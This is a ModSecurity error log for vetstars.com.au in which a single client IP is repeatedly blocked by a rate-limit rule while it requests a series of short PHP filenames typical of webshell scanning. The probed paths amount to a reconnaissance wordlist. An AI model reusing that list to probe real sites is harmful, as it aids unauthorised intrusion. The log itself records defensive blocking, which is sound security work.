[Mon Dec 08 06:00:21.734895 2025] [:error] [pid 54704:tid 54726] [client 4.189.128.201:35181] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTX49XL1WYsMMmlqjh4VGgAAAVM"]
[Mon Dec 08 06:00:21.965779 2025] [:error] [pid 54705:tid 54753] [client 4.189.128.201:62649] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aTX49adUeDkxwo12SG8nfgAAAZM"]
[Mon Dec 08 06:00:22.204460 2025] [:error] [pid 54705:tid 54758] [client 4.189.128.201:35150] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aTX49qdUeDkxwo12SG8nfwAAAZg"]
[Mon Dec 08 06:00:22.439656 2025] [:error] [pid 54671:tid 54675] [client 4.189.128.201:48813] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aTX49lqOuiNLLCfVy7-M5AAAAQE"]
[Mon Dec 08 06:00:22.681864 2025] [:error] [pid 18634:tid 18650] [client 4.189.128.201:9665] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aTX49p-H1wCBKPf4vhN-HAAAAAw"]
[Mon Dec 08 06:00:22.967125 2025] [:error] [pid 18634:tid 18660] [client 4.189.128.201:43138] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aTX49p-H1wCBKPf4vhN-HgAAABY"]
[Mon Dec 08 06:00:23.236699 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:48810] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aTX493L1WYsMMmlqjh4VIAAAAU8"]
[Mon Dec 08 06:00:23.464464 2025] [:error] [pid 54705:tid 54735] [client 4.189.128.201:35185] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aTX496dUeDkxwo12SG8nggAAAYE"]
[Mon Dec 08 06:00:23.691830 2025] [:error] [pid 54671:tid 54677] [client 4.189.128.201:62626] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aTX491qOuiNLLCfVy7-M6gAAAQM"]
[Mon Dec 08 06:00:23.919345 2025] [:error] [pid 18635:tid 18671] [client 4.189.128.201:35147] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aTX4924kCC_HamQRuE10wgAAAEY"]
[Mon Dec 08 06:00:24.173657 2025] [:error] [pid 18635:tid 18667] [client 4.189.128.201:62599] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aTX4-G4kCC_HamQRuE10wwAAAEI"]
[Mon Dec 08 06:00:24.544657 2025] [:error] [pid 18635:tid 18679] [client 4.189.128.201:62596] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aTX4-G4kCC_HamQRuE10xAAAAE4"]
[Mon Dec 08 06:00:24.775484 2025] [:error] [pid 18634:tid 18656] [client 4.189.128.201:26016] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aTX4-J-H1wCBKPf4vhN-IwAAABI"]
[Mon Dec 08 06:00:25.018145 2025] [:error] [pid 54704:tid 54721] [client 4.189.128.201:62603] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aTX4-XL1WYsMMmlqjh4VIwAAAU4"]
[Mon Dec 08 06:00:25.270695 2025] [:error] [pid 54705:tid 54754] [client 4.189.128.201:23769] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aTX4-adUeDkxwo12SG8nhQAAAZQ"]
[Mon Dec 08 06:00:25.509292 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:48784] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aTX4-adUeDkxwo12SG8nhgAAAZc"]
[Mon Dec 08 06:00:25.743417 2025] [:error] [pid 54704:tid 54708] [client 4.189.128.201:62650] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aTX4-XL1WYsMMmlqjh4VJAAAAUE"]
[Mon Dec 08 06:00:26.001209 2025] [:error] [pid 54705:tid 54737] [client 4.189.128.201:59641] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aTX4-adUeDkxwo12SG8niAAAAYM"]
[Mon Dec 08 06:00:26.240631 2025] [:error] [pid 54671:tid 54678] [client 4.189.128.201:35159] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aTX4-lqOuiNLLCfVy7-M7AAAAQQ"]
[Mon Dec 08 06:00:26.471544 2025] [:error] [pid 18726:tid 18741] [client 4.189.128.201:43171] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aTX4-lwVbxmJGL5LHAc6SgAAAM0"]
[Mon Dec 08 06:00:26.706055 2025] [:error] [pid 18635:tid 18686] [client 4.189.128.201:48804] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aTX4-m4kCC_HamQRuE10yQAAAFU"]
[Mon Dec 08 06:00:26.942194 2025] [:error] [pid 18636:tid 18706] [client 4.189.128.201:59603] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTX4-ugdXnohVr6jm71IMgAAAI4"]
[Mon Dec 08 06:00:27.209772 2025] [:error] [pid 18636:tid 18697] [client 4.189.128.201:48815] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTX4--gdXnohVr6jm71INAAAAIU"]
[Mon Dec 08 06:00:27.561932 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:59647] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTX4--gdXnohVr6jm71INwAAAII"]
[Mon Dec 08 06:00:27.803772 2025] [:error] [pid 54705:tid 54752] [client 4.189.128.201:59602] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aTX4-6dUeDkxwo12SG8nkQAAAZI"]
[Mon Dec 08 06:00:28.031266 2025] [:error] [pid 18636:tid 18692] [client 4.189.128.201:26000] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTX4_OgdXnohVr6jm71IOgAAAIA"]
[Mon Dec 08 06:00:28.259215 2025] [:error] [pid 18636:tid 18709] [client 4.189.128.201:43170] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTX4_OgdXnohVr6jm71IPAAAAJE"]
[Mon Dec 08 06:00:28.489402 2025] [:error] [pid 18634:tid 18653] [client 4.189.128.201:62595] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTX4_J-H1wCBKPf4vhN-KAAAAA8"]
[Mon Dec 08 06:00:28.717987 2025] [:error] [pid 18634:tid 18646] [client 4.189.128.201:48770] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTX4_J-H1wCBKPf4vhN-KQAAAAg"]
[Mon Dec 08 06:00:29.011669 2025] [:error] [pid 18636:tid 18711] [client 4.189.128.201:26012] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aTX4_egdXnohVr6jm71IQAAAAJM"]
[Mon Dec 08 06:00:29.239290 2025] [:error] [pid 54705:tid 54740] [client 4.189.128.201:62620] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aTX4_adUeDkxwo12SG8nlgAAAYY"]
[Mon Dec 08 06:00:29.467998 2025] [:error] [pid 18635:tid 18679] [client 4.189.128.201:35189] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aTX4_W4kCC_HamQRuE100AAAAE4"]
[Mon Dec 08 06:00:29.701740 2025] [:error] [pid 54705:tid 54753] [client 4.189.128.201:43150] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aTX4_adUeDkxwo12SG8nmAAAAZM"]
[Mon Dec 08 06:00:29.929485 2025] [:error] [pid 18634:tid 18658] [client 4.189.128.201:62604] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTX4_Z-H1wCBKPf4vhN-KwAAABQ"]
[Mon Dec 08 06:00:30.158343 2025] [:error] [pid 54671:tid 54694] [client 4.189.128.201:62631] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTX4_lqOuiNLLCfVy7-M7QAAARQ"]
[Mon Dec 08 06:00:30.386907 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:48788] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTX4_nL1WYsMMmlqjh4VKAAAAU8"]
[Mon Dec 08 06:00:30.623882 2025] [:error] [pid 54705:tid 54745] [client 4.189.128.201:43178] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aTX4_qdUeDkxwo12SG8nngAAAYs"]
[Mon Dec 08 06:00:30.850950 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:59606] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aTX4_qdUeDkxwo12SG8noQAAAZc"]
[Mon Dec 08 06:00:31.079651 2025] [:error] [pid 54671:tid 54697] [client 4.189.128.201:23772] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aTX4_1qOuiNLLCfVy7-M7wAAARc"]
[Mon Dec 08 06:00:31.310914 2025] [:error] [pid 54705:tid 54749] [client 4.189.128.201:28092] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aTX4_6dUeDkxwo12SG8nowAAAY8"]
[Mon Dec 08 06:00:31.541011 2025] [:error] [pid 54671:tid 54675] [client 4.189.128.201:61220] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aTX4_1qOuiNLLCfVy7-M8QAAAQE"]
[Mon Dec 08 06:00:31.774717 2025] [:error] [pid 54671:tid 54693] [client 4.189.128.201:51320] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aTX4_1qOuiNLLCfVy7-M8gAAARM"]
[Mon Dec 08 06:00:32.035249 2025] [:error] [pid 18726:tid 18736] [client 4.189.128.201:59628] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aTX5AFwVbxmJGL5LHAc6TwAAAMg"]
[Mon Dec 08 06:00:32.262879 2025] [:error] [pid 54671:tid 54680] [client 4.189.128.201:59607] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aTX5AFqOuiNLLCfVy7-M8wAAAQY"]
[Mon Dec 08 06:00:32.491048 2025] [:error] [pid 18635:tid 18676] [client 4.189.128.201:48829] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aTX5AG4kCC_HamQRuE100QAAAEs"]
[Mon Dec 08 06:00:32.719927 2025] [:error] [pid 18635:tid 18675] [client 4.189.128.201:62619] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aTX5AG4kCC_HamQRuE101AAAAEo"]
[Mon Dec 08 06:00:32.948309 2025] [:error] [pid 54704:tid 54707] [client 4.189.128.201:25990] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aTX5AHL1WYsMMmlqjh4VLAAAAUA"]
[Mon Dec 08 06:00:33.201297 2025] [:error] [pid 54671:tid 54674] [client 4.189.128.201:59638] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aTX5AVqOuiNLLCfVy7-M9QAAAQA"]
[Mon Dec 08 06:00:33.446751 2025] [:error] [pid 18634:tid 18655] [client 4.189.128.201:43182] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aTX5AZ-H1wCBKPf4vhN-LwAAABE"]
[Mon Dec 08 06:00:33.676252 2025] [:error] [pid 54671:tid 54686] [client 4.189.128.201:26001] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTX5AVqOuiNLLCfVy7-M9gAAAQw"]
[Mon Dec 08 06:00:33.905239 2025] [:error] [pid 54704:tid 54708] [client 4.189.128.201:59597] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTX5AXL1WYsMMmlqjh4VLgAAAUE"]
[Mon Dec 08 06:00:34.132714 2025] [:error] [pid 54671:tid 54677] [client 4.189.128.201:59637] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTX5AlqOuiNLLCfVy7-M-AAAAQM"]
[Mon Dec 08 06:00:34.369946 2025] [:error] [pid 54705:tid 54756] [client 4.189.128.201:59630] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aTX5AqdUeDkxwo12SG8nqAAAAZY"]
[Mon Dec 08 06:00:34.640369 2025] [:error] [pid 18635:tid 18671] [client 4.189.128.201:43192] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTX5Am4kCC_HamQRuE102AAAAEY"]
[Mon Dec 08 06:00:34.885014 2025] [:error] [pid 54705:tid 54752] [client 4.189.128.201:35158] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTX5AqdUeDkxwo12SG8nqQAAAZI"]
[Mon Dec 08 06:00:35.122963 2025] [:error] [pid 54705:tid 54747] [client 4.189.128.201:59621] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTX5A6dUeDkxwo12SG8nrAAAAY0"]
[Mon Dec 08 06:00:35.377785 2025] [:error] [pid 18634:tid 18649] [client 4.189.128.201:35143] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTX5A5-H1wCBKPf4vhN-MgAAAAs"]
